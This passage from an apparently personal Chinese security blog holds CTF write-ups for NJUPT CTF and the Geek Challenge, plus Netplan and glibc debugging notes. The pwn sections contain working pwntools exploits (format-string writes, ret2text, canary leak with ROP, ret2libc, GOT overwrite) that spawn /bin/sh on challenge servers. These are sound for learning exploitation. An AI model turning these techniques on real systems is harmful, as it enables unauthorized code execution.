</span>	    }
</span>	}
</span>      </span>else
</span>	{
</span>	  p->fd_nextsize->bk_nextsize </span>=</span> p->bk_nextsize;
</span>	  p->bk_nextsize->fd_nextsize </span>=</span> p->fd_nextsize;
</span>	}
</span>    }
</span>}
</span></code></pre>
具体的利用方式去ctf-wiki上去看吧，就不再写一遍了。</p>


2020 NJUPT CTF - zstuCTF WriteUp
2020-11-21T00:00:00+00:00
Re</h1>
re1</h2>
逐字符加密然后比对，只要逐字符爆破即可</p>
</p>
exp:</p>
#include</span><stdio.h>
</span>
</span>char </span>encrypt</span>(</span>char </span>a1</span>,</span>char </span>a2</span>){
</span>    </span>char</span> v2 </span>= </span>(</span>~</span>a2 </span>| ~</span>a1) </span>& </span>(</span>~</span>a2 </span>|</span> a1) </span>& </span>(a2 </span>|</span> a1) </span>| </span>(</span>~</span>a2 </span>| ~</span>a1) </span>& </span>(a2 </span>| ~</span>a1) </span>&</span> a2 </span>&</span> a1 </span>|</span> a2 </span>& ~</span>a1 </span>| ~</span>a2 </span>&</span> a1;
</span>    </span>return </span>(</span>~</span>(</span>32 </span>*</span> v2) </span>| ~</span>(v2 </span>>> </span>3</span>)) </span>& </span>(</span>~</span>(</span>32 </span>*</span> v2) </span>| </span>(v2 </span>>> </span>3</span>)) </span>& </span>(</span>32 </span>*</span> v2 </span>| </span>(v2 </span>>> </span>3</span>)) </span>| </span>(</span>~</span>(</span>32 </span>*</span> v2) </span>| ~</span>(v2 </span>>> </span>3</span>)) </span>& </span>(</span>32 </span>*</span> v2 </span>| ~</span>(v2 </span>>> </span>3</span>)) </span>& </span>(</span>32 </span>*</span> v2 </span>| </span>(v2 </span>>> </span>3</span>));
</span>}
</span>
</span>int </span>main</span>(){
</span>    </span>char</span>*</span>nctf</span>=</span>"nctf"</span>;
</span>    </span>char</span> flag[] </span>= </span>{
</span>        </span>0xC6</span>, </span>0x6A</span>, </span>0xC0</span>, </span>0x27</span>, </span>0xEB</span>, </span>0xCA</span>, </span>0x65</span>, </span>0x02</span>, </span>0x61</span>, </span>0xCA</span>, 
</span>        </span>0x68</span>, </span>0x27</span>, </span>0x6B</span>, </span>0xE2</span>, </span>0xC0</span>, </span>0xE0</span>, </span>0x00</span>, </span>0x80</span>, </span>0x22</span>, </span>0x27</span>, 
</span>        </span>0xE1</span>, </span>0xA1</span>, </span>0x02</span>, </span>0x27</span>, </span>0x63</span>, </span>0x4B</span>, </span>0xA8</span>, </span>0xE3
</span>    };
</span>    </span>printf</span>(</span>"NCTF{"</span>);
</span>    </span>for</span>(</span>int</span> i</span>=</span>0</span>;i</span><</span>28</span>;i</span>++</span>){
</span>        </span>char</span> j</span>=</span>0</span>;
</span>        </span>do</span>{
</span>            </span>if</span>(encrypt(j,nctf[i</span>%</span>4</span>])</span>==</span>flag[i]){
</span>                </span>printf</span>(</span>"</span>%c</span>"</span>,j);
</span>                </span>break</span>;
</span>            }
</span>            j</span>++</span>;
</span>        }</span>while</span>(j</span>></span>0</span>);
</span>    }
</span>    </span>printf</span>(</span>"}</span>\n</span>"</span>);
</span>    </span>return </span>0</span>;
</span>}
</span></code></pre>
flag:NCTF{X0r_15_ve57_5trange_and_u91y}</code></p>
re2</h2>
base64+xor，有手就行</p>
</p>
exp:</p>
</p>
re3</h2>
这题一堆反调，还有一个fake flag，太恶心了。反调手动patch后，找到两个关键函数。</p>
</p>
通过左边的函数可以通过解方程算出来flag的下标为3,10,15的字符。然后通过自修改生成的函数开始是push ebp;mov ebp,esp</code>，即55 8B EC</code>可以计算出前三个字符，现在可以得到flag为cp1@xxxxxx_xxxx-xxxxxxxx</code>。</p>
通过分析可以得出自修改得到的函数是AES_ECB加密，key是nctf2020x1c66666</code>。对ps2加密。</p>
然后再通过ec1,ec2对ps2和ps3进行逐位异或，异或的内容是固定的，可以用测试数据计算出来。</p>
将v1进行对应异或，再AES_ECB解密，填入对应位置，得到flag:cp1@plus1s_v2ey-veryha36</code>。</p>
Pwn</h1>
fake_qiandao</h2>
先来一个思维导图：</p>
</p>
函数介绍：</p>

choose函数：输入10字符(无溢出)，然后atol</code>返回，但实际只需要1或2，所以可以利用剩下的9个字符布局栈，这里是写入地址，提供给printf，实现任意地址读写。</li>
login函数：先输入49字符的input(data段)，然后经过base64</code>加密，放入长48字节的base64Input(data段)这里就存在溢出了，base64Input后面是start函数里printf</code>的第一个参数。刚好这里的base64</code>加密的字母表是A-Za-z0-9%$</code>，其中的%$</code>可以用来给printf</code>格式化输出。</li>
start函数：在login函数输入rrrtql</code>会修改一次标志，标志为真时会调用printf</code>。</li>
</ul>
利用思路：</p>

泄露栈地址、程序地址、libc地址</li>
任意地址写布局栈 pop rdi -> bin_sh_addr -> system_addr -> '/bin/sh'</code></li>
修改函数返回地址，进入布局的栈中，get shell</li>
</ol>
exp:</p>
from </span>pwn </span>import </span>*
</span>from </span>LibcSearcher </span>import </span>*
</span>import </span>base64
</span>
</span>DEBUG</span>=</span>False
</span>if </span>DEBUG</span>:
</span>    sh</span>=</span>process(</span>'./main'</span>)
</span>else</span>:
</span>    sh</span>=</span>connect(</span>"42.192.180.50"</span>,</span>25004</span>)
</span>
</span>class </span>MyBase64</span>:
</span>    </span>STANDARD_ALPHABET </span>= </span>'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
</span>    </span>def </span>__init__</span>(</span>self</span>, </span>alphabet</span>=</span>None</span>):
</span>        </span>if </span>alphabet </span>== </span>None</span>:
</span>            alphabet </span>= </span>MyBase64.</span>STANDARD_ALPHABET
</span>        </span>if </span>len</span>(alphabet) </span>!= </span>len</span>(MyBase64.</span>STANDARD_ALPHABET</span>):
</span>            </span>raise </span>RuntimeError</span>(</span>'MyBase64 init error:alphabet len should equal 64'</span>)
</span>        </span>self</span>.alphabet </span>= </span>alphabet
</span>
</span>    </span>def </span>encode</span>(</span>self</span>, </span>data_to_encode</span>):
</span>        encoded </span>= </span>base64.b64encode(data_to_encode)
</span>        </span>return </span>encoded.translate(</span>str</span>.maketrans(MyBase64.</span>STANDARD_ALPHABET</span>, </span>self</span>.alphabet))
</span>
</span>    </span>def </span>decode</span>(</span>self</span>, </span>string_to_decode</span>):
</span>        encoded </span>= </span>string_to_decode.translate(</span>str</span>.maketrans(</span>self</span>.alphabet, MyBase64.</span>STANDARD_ALPHABET</span>))
</span>        </span>return </span>base64.b64decode(encoded)
</span>
</span>b64</span>=</span>MyBase64(</span>"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789%$"</span>)
</span>
</span>def </span>login</span>(</span>text</span>):
</span>    sh.sendlineafter(</span>'Command: '</span>,</span>'1'</span>)
</span>    sh.sendlineafter(</span>'Plz input the key'</span>,text)
</span>
</span>def </span>loginBase64</span>(</span>text</span>):
</span>    </span>#对齐
</span>    </span>if </span>len</span>(text)</span>%</span>4</span>==</span>1</span>:
</span>        text</span>+=</span>'mmm'
</span>    </span>elif </span>len</span>(text)</span>%</span>4</span>==</span>2</span>:
</span>        text</span>+=</span>'mm'
</span>    </span>elif </span>len</span>(text)</span>%</span>4</span>==</span>3</span>:
</span>        text</span>+=</span>'m'
</span>    login(b64.decode(text))
</span>
</span>def </span>start</span>(</span>addr</span>=</span>0</span>):
</span>    sh.sendlineafter(</span>'Command: '</span>,</span>b</span>'2a'</span>+</span>p64(addr))
</span>    r</span>=</span>sh.recvline()
</span>    </span>if </span>r</span>==</span>b</span>'1. Login</span>\n</span>'</span>:
</span>        </span>return </span>''
</span>    </span>elif </span>str</span>(r,</span>'utf-8'</span>).startswith(</span>'0x'</span>):
</span>        r</span>=</span>str</span>(r,</span>'utf-8'</span>)
</span>        i_1</span>=</span>r.find(</span>'1.'</span>)
</span>        i_m</span>=</span>r.find(</span>'m'</span>)
</span>        </span>if </span>i_1</span>==-</span>1 </span>and </span>i_m</span>==-</span>1</span>:
</span>            </span>return </span>int</span>(r[</span>2</span>:],</span>base</span>=</span>16</span>)
</span>        </span>elif </span>i_1</span>==-</span>1</span>:
</span>            </span>return </span>int</span>(r[</span>2</span>:i_m],</span>base</span>=</span>16</span>)
</span>        </span>elif </span>i_m</span>==-</span>1</span>:
</span>            </span>return </span>int</span>(r[</span>2</span>:i_1],</span>base</span>=</span>16</span>)
</span>        </span>else</span>:
</span>            </span>return </span>int</span>(r[</span>2</span>:</span>min</span>(i_1,i_m)],</span>base</span>=</span>16</span>)
</span>    </span>else</span>:
</span>        </span>return </span>r 
</span>
</span>def </span>edit</span>(</span>target_addr</span>,</span>val</span>):
</span>    </span>for </span>i </span>in </span>range</span>(</span>8</span>):
</span>        </span>len</span>=</span>(val</span>>></span>(</span>8</span>*</span>i))</span>&</span>0xff
</span>        </span>if </span>len</span>==</span>0</span>:
</span>            text</span>=</span>'a'</span>*</span>48</span>+</span>'%6$hhn'
</span>        </span>else</span>:
</span>            text</span>=</span>'a'</span>*</span>48</span>+</span>'%'</span>+</span>str</span>(</span>len</span>)</span>+</span>'c%6$hhn'
</span>        loginBase64(text)
</span>        login(</span>'rrrtql'</span>)
</span>        start(target_addr</span>+</span>i)
</span>
</span>def </span>editStr</span>(</span>target</span>,</span>s</span>):
</span>    </span>for </span>i </span>in </span>range</span>(</span>len</span>(s)):
</span>        text</span>=</span>'a'</span>*</span>48</span>+</span>'%'</span>+</span>str</span>(</span>ord</span>(s[i]))</span>+</span>'c%6$hhn'
</span>        loginBase64(text)
</span>        login(</span>'rrrtql'</span>)
</span>        start(target</span>+</span>i)
</span>    loginBase64(</span>'a'</span>*</span>48</span>+</span>'%6$hhn'</span>)
</span>    login(</span>'rrrtql'</span>)
</span>    start(target</span>+</span>len</span>(s))
</span>
</span>#泄露地址
</span>loginBase64(</span>'a'</span>*</span>48</span>+</span>'</span>%p</span>'</span>)
</span>login(</span>'rrrtql'</span>)
</span>got_stack_chk_fail_addr</span>=</span>start()</span>+</span>8056
</span>pop_rdi_addr</span>=</span>got_stack_chk_fail_addr</span>-</span>0x3FA0</span>+</span>0x173b
</span>pop_2_addr</span>=</span>pop_rdi_addr</span>-</span>0x173b</span>+</span>0x1734</span>+</span>4
</span>
</span># 栈地址
</span>loginBase64(</span>'a'</span>*</span>48</span>+</span>'%8$p'</span>)
</span>login(</span>'rrrtql'</span>)
</span>stack_addr</span>=</span>start()</span>-</span>40
</span>
</span>#libc
</span>loginBase64(</span>'a'</span>*</span>48</span>+</span>'%13$p'</span>)
</span>login(</span>'rrrtql'</span>)
</span>libc_start_main_addr</span>=</span>start()
</span>if </span>DEBUG</span>:
</span>    libc_start_main_addr</span>-=</span>0xf2
</span>else</span>:
</span>    libc_start_main_addr</span>-=</span>0xf3
</span>libc</span>=</span>LibcSearcher(</span>'__libc_start_main'</span>,libc_start_main_addr)
</span>system_addr</span>=</span>libc.dumpb(</span>'system'</span>)
</span>
</span>bin_sh_addr</span>=</span>stack_addr</span>+</span>8</span>*</span>8
</span>edit(stack_addr</span>+</span>8</span>*</span>5</span>,pop_rdi_addr)
</span>edit(stack_addr</span>+</span>8</span>*</span>6</span>,bin_sh_addr)
</span>edit(stack_addr</span>+</span>8</span>*</span>7</span>,system_addr)
</span>editStr(bin_sh_addr,</span>'/bin/sh'</span>)
</span>
</span>print</span>(</span>hex</span>(pop_2_addr))
</span>
</span>loginBase64(</span>'a'</span>*</span>48</span>+</span>'%'</span>+</span>str</span>(pop_2_addr</span>&</span>0xffff</span>)</span>+</span>'c%6$hn'</span>)
</span>login(</span>'rrrtql'</span>)
</span>sh.sendlineafter(</span>'Command: '</span>,</span>b</span>'2a'</span>+</span>p64(stack_addr</span>+</span>8</span>*</span>2</span>))
</span>
</span>sh.interactive()
</span></code></pre>
flag:NCTF{6EEC8679F86732CA7A38E63D3B37D35A}</code></p>
Misc</h1>
有手就行。。。</p>


Netplan虚拟机双网卡配置
2020-11-15T00:00:00+00:00
背景</h1>
由于笔记本电脑的网络环境总是会变化，导致虚拟机的网络ip不能固定，因此我给虚拟机设置了两块网卡，一块是Host-only，名为enp0s3</code>，网段为192.168.137.0/24</code> ；另一块是网络地址转换(NET)，用于访问互联网，名为eth0</code>。</p>
默认的设置会导致访问互联网时有时会走eth1</code>，导致无法上网。也就是路由表配置错误。</p>
一开始的路由表如下</p>
$ route
</span>Kernel IP routing table
</span>Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
</span>default         192.168.137.1   0.0.0.0         UG    0      0        0 eth0
</span>default         10.0.3.2        0.0.0.0         UG    100    0        0 eth1
</span>10.0.3.0        0.0.0.0         255.255.255.0   U     100    0        0 eth1
</span>192.168.137.0   0.0.0.0         255.255.255.0   U     0      0        0 eth0
</span></code></pre>
可以看到有两个default</code>，导致上网会使用eth0</code>。可以输入sudo route del eth0 gw 192.168.137.1</code>临时解决。</p>
解决方案</h1>
这里使用netplan</code>配置网络，在/etc/netplan/</code>下新建任意名称的yaml</code>文件，内容如下：</p>
network</span>:
</span>    </span>version</span>: </span>2
</span>    </span>renderer</span>: </span>networkd
</span>    </span>ethernets</span>:
</span>        </span>eth0</span>:
</span>            </span>dhcp4</span>: </span>no
</span>            </span>addresses</span>: [</span>192.168.137.3/24</span>]
</span>            </span>optional</span>: </span>true
</span>            </span>#这里不能写gateway4，不然会路由表里会创建一个default的记录
</span>        </span>eth1</span>:
</span>            </span>dhcp4</span>: </span>yes
</span>            </span>addresses</span>: []
</span>            </span>optional</span>: </span>true
</span>            </span>nameservers</span>:
</span>                </span>addresses</span>: [</span>101.6.6.6</span>,</span>8.8.8.8</span>]
</span></code></pre>
然后，用命令sudo netplan apply</code>就可以生效了。</p>
参考文章</h1>

Ubuntu18.04下双网卡内外网设置 - 大橘为重之大橘已定</a></li>
</ol>


glibc编译与调试
2020-11-13T00:00:00+00:00
编译</h1>
首先肯定是要下载glibc源码，可以去官网</a>，国内也可以去清华镜像</a>下载。</p>
编译的时候要带有调试信息，并选择合适的输出目录。大概需要10min。</p>
mkdir build
</span>cd</span> build
</span>echo </span>"CFLAGS += -fno-stack-protector" </span>></span> configparms
</span>../configure CFLAGS=</span>"-O1 -g3 -ggdb"</span> CXXFLAGS=</span>"-O1 -g3 -ggdb"</span> --disable-werror --prefix</span>=</span>/home/richar/glibc/lib</span> --enable-cet
</span>make
</span>make install
</span></code></pre>
生成用于调试的程序</h1>
对于一般的elf执行文件，肯定是默认到系统目录去找libc。有两种方式可以自己指定链接的libc位置，一种是在编译的时候加上选项，但这只能用于自己编译的程序。</p>
gcc</span> -g3 -ggdb -o</span> hello hello.c</span> -Wl</span>,-rpath=/home/richar/glibc/lib/lib</span> -Wl</span>,--dynamic-linker=/home/richar/glibc/lib/lib/ld-2.32.so
</span></code></pre>
另一种是用patchelf</code>修改程序的链接位置这种更加灵活</p>
patchelf</span> --set-interpreter</span> /home/richar/glibc/lib/lib/ld-2.32.so</span>  --set-rpath</span> /home/richar/glibc/lib/lib </span>[</span>执行文件</span>]
</span></code></pre>
调试</h1>
调试时就可以看到libc源码了。如图</p>
</p>
LibcSearch&libc-database</h1>
由于LibcSearch</code>自带的libc-database</code>版本太老，所以直接把github上最新的libc-database</code>下载下来，LibcSearch</code>里的libc-database</code>目录直接替换成软链接这样就可以方便的更新libc库了。命令如下</p>
rm</span> -rf</span> LibcSearch/libc-database
</span>ln</span> -s</span> libc-database LibcSearch/
</span></code></pre>
然后把自己编译的libc库添加进libc-database</code></p>
libc-database/add glibc/lib/lib/libc-2.32.so
</span></code></pre>
完工！</p>
参考文章</h1>

源码级调试glibc - astrotycoon</a></li>
使用题目给定的libc动态调试 - HAPPYers</a></li>
</ol>


第11届极客大挑战-Pwn WriteUp
2020-10-24T00:00:00+00:00
数学咋样？</h1>
也就20道加法，手算也可以（bushi。</p>
还是用python</code>写个脚本吧。。</p>
from </span>pwn </span>import </span>*
</span>import </span>re
</span>sh </span>= </span>remote(</span>"81.69.0.47"</span>,</span>1111</span>)
</span>sum</span>=</span>0
</span>while </span>True</span>:
</span>    </span>try</span>:
</span>        a</span>=</span>sh.recvline(</span>keepends</span>=</span>False</span>).decode()
</span>        findings</span>=</span>re.findall(</span>r</span>"</span>!\[</span>.</span>*</span>\]  num_1 = (</span>[0-9]</span>+</span>), num_2 = (</span>[0-9]</span>+</span>)</span>"</span>,a)
</span>        </span>if </span>len</span>(findings)</span>!=</span>0</span>:
</span>            </span>sum</span>=</span>int</span>(findings[</span>0</span>][</span>0</span>])</span>+</span>int</span>(findings[</span>0</span>][</span>1</span>])
</span>        </span>print</span>(a)
</span>        </span>if </span>a</span>==</span>"I can't calculate the expression 'num_1 + num_2'."</span>:
</span>            sh.recvuntil(</span>"input your answer:"</span>)
</span>            sh.sendline(</span>str</span>(</span>sum</span>))
</span>    </span>except </span>EOFError</span>:
</span>        sh.close()
</span></code></pre>
runcode</h1>
有点不太明白出题的意图，直接文件读取就行了。</p>
#include</span><stdio.h>
</span>int </span>main</span>() {
</span>    FILE </span>*</span>f</span>=</span>fopen</span>(</span>"/home/ctf/flag"</span>,</span>"r"</span>);
</span>    </span>char</span> buf[</span>255</span>];
</span>    </span>fgets</span>(buf,</span>255</span>,f);
</span>    </span>printf</span>(</span>"</span>%s</span>"</span>,buf);
</span>    </span>return </span>0</span>;
</span>}
</span></code></pre>
liuzhuang-secret</h1>
文件: pwn00</p>
非常简单的ret2text，找到溢出点和后门地址。</p>
</p>
from </span>pwn </span>import </span>*
</span>
</span>sh </span>= </span>remote(</span>"81.69.0.47"</span>,</span>1000</span>)
</span># sh=process("./pwn00")
</span>
</span>payload</span>=</span>flat(</span>'a'</span>*</span>120</span>,p64(</span>0x40079B</span>))
</span>sh.sendafter(</span>"Do you want to play with me?</span>\n</span>"</span>,payload)
</span>sh.interactive()
</span></code></pre>
fmt</h1>
文件: fmt</p>
格式化字符串漏洞，用任意地址写，直接修改seed</code>，用C把随机数算出来。</p>
#include</span><stdlib.h>
</span>#include</span><stdio.h>
</span>int </span>main</span>(){
</span>    </span>srand</span>(</span>0</span>);
</span>    </span>for</span>(</span>int</span> i</span>=</span>0</span>;i</span><</span>16</span>;i</span>++</span>)
</span>        </span>printf</span>(</span>"</span>%d</span>\n</span>"</span>,</span>rand</span>());
</span>    </span>return </span>0</span>;
</span>}
</span></code></pre>
from </span>pwn </span>import </span>*
</span>
</span>sh </span>= </span>remote(</span>"81.69.0.47"</span>,</span>2222</span>)
</span># sh=process("./fmt")
</span>
</span>payload</span>=</span>flat(</span>'%9$n'</span>,</span>'a'</span>*</span>4</span>,p64(</span>0x40409C</span>))
</span>sh.sendafter(</span>"hello world!</span>\n</span>"</span>,payload)
</span>sh.sendline(</span>"1804289383"</span>)
</span>sh.sendline(</span>"846930886"</span>)
</span>sh.sendline(</span>"1681692777"</span>)
</span>sh.sendline(</span>"1714636915"</span>)
</span>sh.sendline(</span>"1957747793"</span>)
</span>sh.sendline(</span>"424238335"</span>)
</span>sh.sendline(</span>"719885386"</span>)
</span>sh.sendline(</span>"1649760492"</span>)
</span>sh.sendline(</span>"596516649"</span>)
</span>sh.sendline(</span>"1189641421"</span>)
</span>sh.sendline(</span>"1025202362"</span>)
</span>sh.sendline(</span>"1350490027"</span>)
</span>sh.sendline(</span>"783368690"</span>)
</span>sh.sendline(</span>"1102520059"</span>)
</span>sh.sendline(</span>"2044897763"</span>)
</span>sh.sendline(</span>"1967513926"</span>)
</span>sh.interactive()
</span></code></pre>
baby_canary</h1>
文件: baby_canary</p>
有canary保护，但可以泄露。两次read，第一次泄露canary，第二次栈溢出ROP。</p>
执行system</code>前，先要将参数设置好。用ROPgadget</code>查找可以修改rdi的片段。</p>
Gadgets information
</span>============================================================
</span>0x000000000040086c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
</span>0x000000000040086e : pop r13 ; pop r14 ; pop r15 ; ret
</span>0x0000000000400870 : pop r14 ; pop r15 ; ret
</span>0x0000000000400872 : pop r15 ; ret
</span>0x000000000040086b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
</span>0x000000000040086f : pop rbp ; pop r14 ; pop r15 ; ret
</span>0x0000000000400668 : pop rbp ; ret
</span>0x0000000000400873 : pop rdi ; ret
</span>0x0000000000400871 : pop rsi ; pop r15 ; ret
</span>0x000000000040086d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
</span>0x000000000040059e : ret
</span>
</span>Unique gadgets found: 11
</span></code></pre>
from </span>pwn </span>import </span>*
</span>
</span>sh </span>= </span>remote(</span>"81.69.0.47"</span>,</span>3333</span>)
</span># sh=process("./baby_canary")
</span>
</span>payload1</span>=</span>flat(</span>'a'</span>*</span>105</span>)
</span>sh.sendafter(</span>"may be you know it,plz tell me.</span>\n</span>"</span>,payload1)
</span>sh.recv(</span>numb</span>=</span>105</span>)
</span>canary</span>=</span>sh.recv(</span>numb</span>=</span>7</span>)
</span>payload2</span>=</span>flat(</span>'a'</span>*</span>104</span>,</span>'</span>\0</span>'</span>,canary,</span>'</span>\0</span>'</span>*</span>8</span>,
</span>    p64(</span>0x400873</span>),p64(</span>0x4008ED</span>), </span>#修改 rdi
</span>    p64(</span>0x4007F7</span>))
</span>sh.sendline(payload2)
</span>sh.interactive()
</span></code></pre>
pwn111</h1>
文件: pwn111.zip</p>
这题就需要ret2libc了。先泄露一个函数的got表地址，用给的libc文件，计算出其它需要的函数的地址。</p>
from </span>pwn </span>import </span>*
</span>
</span>sh </span>= </span>remote(</span>"81.69.0.47"</span>,</span>1122</span>)
</span># sh=process("./pwn111")
</span>elff </span>= </span>ELF(</span>'./pwn111'</span>)
</span>elflibc </span>= </span>ELF(</span>'./libc'</span>)
</span>
</span>payload1</span>=</span>flat(</span>'a'</span>*</span>136</span>,
</span>    p64(</span>0x401231</span>),p64(elff.got[</span>'write'</span>]),p64(</span>0</span>),</span>#rsi,r15
</span>    p64(</span>0x401233</span>),p64(</span>1</span>),</span>#rdi
</span>    p64(elff.plt[</span>'write'</span>]),</span>#0x401030
</span>    p64(elff.symbols[</span>'_start'</span>]))
</span>sh.sendafter(</span>"please input: "</span>,payload1)
</span>
</span>write_addr</span>=</span>u64(sh.recv(</span>numb</span>=</span>8</span>))
</span>sh_addr</span>=</span>write_addr</span>-</span>elflibc.symbols[</span>'write'</span>]</span>+</span>0x18CE17
</span>system_addr</span>=</span>write_addr</span>-</span>elflibc.symbols[</span>'write'</span>]</span>+</span>elflibc.symbols[</span>'system'</span>]
</span>
</span>payload2</span>=</span>flat(</span>'a'</span>*</span>136</span>,
</span>    p64(</span>0x401233</span>),p64(sh_addr),</span>#rdi
</span>    p64(system_addr))
</span>sh.sendafter(</span>"please input: "</span>,payload2)
</span>sh.interactive()
</span></code></pre>
pwn222</h1>
文件: pwn222</p>
逻辑很简单,相比上一题，这题没有了输出函数。</p>
</p>
找到了这一片段，可以用来修改GOT表</p>
0x000000000040112c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
</span></code></pre>
思路：</p>


把GOT表中read</code>改成write</code></p>
</li>

用write</code>输出write</code>地址</p>
</li>

把write</code>改回read</code></p>
</li>

回到_start</code>重新运行</p>
</li>

返回到计算出的system</code>函数地址</p>
</li>
</ol>
exp如下：</p>
from </span>pwn </span>import </span>*
</span>
</span>sh </span>= </span>remote(</span>"81.69.0.47"</span>,</span>2212</span>)
</span># sh=process("./pwn222")
</span>elff </span>= </span>ELF(</span>'./pwn222'</span>)
</span>elflibc </span>= </span>ELF(</span>'./libc'</span>)
</span>
</span>payload1</span>=</span>flat(</span>'a'</span>*</span>40</span>,
</span>    p64(</span>0x40122A</span>),p64(</span>0x60</span>),p64(elff.got[</span>'read'</span>]</span>+</span>0x3d</span>),p64(</span>0</span>),p64(</span>0</span>),p64(</span>0</span>),p64(</span>0</span>),</span>#rbx,rbp,r12,r13,r14,r15
</span>    p64(</span>0x40112c</span>),</span>#add
</span>
</span>    p64(</span>0x401231</span>),p64(elff.got[</span>'read'</span>]),p64(</span>0</span>),</span>#rsi,r15
</span>    p64(</span>0x401233</span>),p64(</span>0</span>),</span>#edi
</span>    p64(elff.plt[</span>'read'</span>]),
</span>
</span>    p64(</span>0x40122A</span>),p64(</span>0xFFFFFFFFFFFFFFA0</span>),p64(elff.got[</span>'read'</span>]</span>+</span>0x3d</span>),p64(</span>0</span>),p64(</span>0</span>),p64(</span>0</span>),p64(</span>0</span>),</span>#rbx,rbp,r12,r13,r14,r15
</span>    p64(</span>0x40112c</span>),</span>#add
</span>
</span>    p64(elff.symbols[</span>'_start'</span>])
</span>)
</span>sh.sendline(payload1)
</span>
</span>write_addr</span>=</span>u64(sh.recv(</span>8</span>))
</span>sh.recv(</span>timeout </span>=</span>1</span>)
</span>sh_addr</span>=</span>write_addr</span>-</span>elflibc.symbols[</span>'write'</span>]</span>+</span>0x18CE17
</span>system_addr</span>=</span>write_addr</span>-</span>elflibc.symbols[</span>'write'</span>]</span>+</span>elflibc.symbols[</span>'system'</span>]
</span>
</span>payload2</span>=</span>flat(</span>'a'</span>*</span>40</span>,
</span>    p64(</span>0x401233</span>),p64(sh_addr),</span>#rdi
</span>    p64(system_addr))
</span>sh.sendline(payload2)
</span>sh.interactive()
</span></code></pre>


第11届极客大挑战-Re WriteUp
2020-10-24T00:00:00+00:00
No RE no gain</h1>
文件: HelloRE.exe</p>
IDA打开，有手就行。</p>
我真不会写驱动！</h1>
文件: SycDriver.sys</p>
有手就行。</p>
</p>
WhatsApk</h1>
文件: WhatsApk.apk</p>
apktool解压，vscode搜索SYC{</code>。
</p>
HelloAndroid</h1>
文件: HelloAndroid</p>
同上。</p>
</p>
re00</h1>
文件: re00</p>
简单的异或。</p>
</p>
</p>
maze</h1>
文件: maze.exe</p>
通过字符串找到主函数为sub_401A10</code>。</p>
</p>
迷宫宽度为0x1F</code>，o</code>为墙，E</code>为终点。起点是0xD9</code>，换算一下坐标是(7,0)</code>，这道题有一个特殊之处，它的坐标是用一个量表示的，所以可以通过左右从边缘移动到上一行或下一行。</p>
把地图提取出来，可以用正则替换来实现0x1F</code>个字符换行。.{31}</code>替换成$0\n</code>。</p>
</p>
地图不大，没有分叉，看看就行。</p>
Hello .NET</h1>
文件: WpfAppCS.exe</p>
dnSpy</code>打开。简单的加密函数。</p>
</p>
import </span>java</span>.</span>util</span>.</span>ArrayList</span>;
</span>
</span>public </span>class </span>Main </span>{
</span>    </span>public static </span>void </span>main</span>(</span>String</span>[] </span>args</span>) {
</span>        </span>ArrayList</span><</span>Integer</span>> list </span>= new </span>ArrayList</span><</span>Integer</span>>();
</span>        </span>int</span>[]</span> array </span>= new </span>int</span>[]{</span>18</span>,</span>14</span>,</span>40</span>,</span>-</span>14</span>,</span>-</span>2</span>,</span>30</span>,</span>10</span>,</span>42</span>,</span>35</span>,</span>48</span>,</span>43</span>,</span>49</span>,</span>52</span>,</span>72</span>,</span>57</span>,</span>68</span>,</span>86</span>,</span>145</span>,</span>115</span>,</span>128</span>,</span>115</span>,</span>86</span>};
</span>        </span>int</span> num </span>= </span>99</span>;
</span>        </span>while </span>(list.size() </span><</span> array.length) {
</span>            </span>boolean</span> flag </span>= </span>true</span>;
</span>            </span>for </span>(</span>int</span> i </span>= </span>3</span>; i </span><</span> num; i </span>+= </span>2</span>){
</span>                </span>boolean</span> flag2 </span>=</span> num </span>%</span> i </span>== </span>0</span>;
</span>                </span>if </span>(flag2){
</span>                    flag </span>= </span>false</span>;
</span>                    </span>break</span>;
</span>                }
</span>            }
</span>            </span>if </span>(flag){
</span>                list.add(num);
</span>            }
</span>            num </span>+= </span>2</span>;
</span>        }
</span>        </span>for </span>(</span>int</span> i </span>= </span>0</span>; i </span><</span> array.length; i</span>++</span>) {
</span>            </span>System</span>.out.print((</span>char</span>)(list.get(i)</span>-</span>array[i]));
</span>        }
</span>    }
</span>}
</span></code></pre>
刘壮的BaseXX</h1>
文件: baseXX.exe</p>
经过简单分析，两次加密，第一次是异或下标和高低位交换，第二次是改版Base64</code>。</p>
</p>
s</span>=</span>'maj7TmztjquUN8Xm-hKplvaYfEAxrUnIc51qxlKOwCKN4XsdzBmjOd_-'
</span>baseAlphabet</span>=</span>'zyxwvutsrqponmlkjihgfedcbaABCDEFGHIJKLMNOPQRSTUVWXYZ9876543210-_'
</span>out</span>=</span>[]
</span>i</span>=</span>0
</span>while </span>i</span><=</span>len</span>(s)</span>-</span>3</span>:
</span>    a1</span>=</span>baseAlphabet.find(s[i])
</span>    a2</span>=</span>baseAlphabet.find(s[i</span>+</span>1</span>])
</span>    a3</span>=</span>baseAlphabet.find(s[i</span>+</span>2</span>])
</span>    a4</span>=</span>baseAlphabet.find(s[i</span>+</span>3</span>])
</span>    out.append((a1</span><<</span>2</span>)</span>+</span>(a2</span>>></span>4</span>))
</span>    out.append(((a2</span>&</span>0xf</span>)</span><<</span>4</span>)</span>+</span>(a3</span>>></span>2</span>))
</span>    out.append(((a3</span>&</span>3</span>)</span><<</span>6</span>)</span>+</span>a4)
</span>    i</span>+=</span>4
</span>for </span>i </span>in </span>range</span>(</span>len</span>(out)):
</span>    x</span>=</span>out[i]
</span>    x</span>^=</span>i
</span>    x</span>=</span>((x</span>&</span>0xf</span>)</span><<</span>4</span>)</span>+</span>(x</span>>></span>4</span>)
</span>    </span>print</span>(</span>chr</span>(x),</span>end</span>=</span>''</span>)
</span></code></pre>
un_snake</h1>
文件: un_snake.cpython-38.pyc</p>
python逆向，直接上uncompyle6</code></p>
uncompyle6 un_snake.cpython-38.pyc </span>></span> un_snake.py
</span></code></pre>
得到代码</p>
from </span>base64 </span>import </span>*
</span>
</span>def </span>pre</span>(</span>data</span>):
</span>    th1s </span>= </span>'TBESCFSRSAEUITANAIIN'</span>.encode()
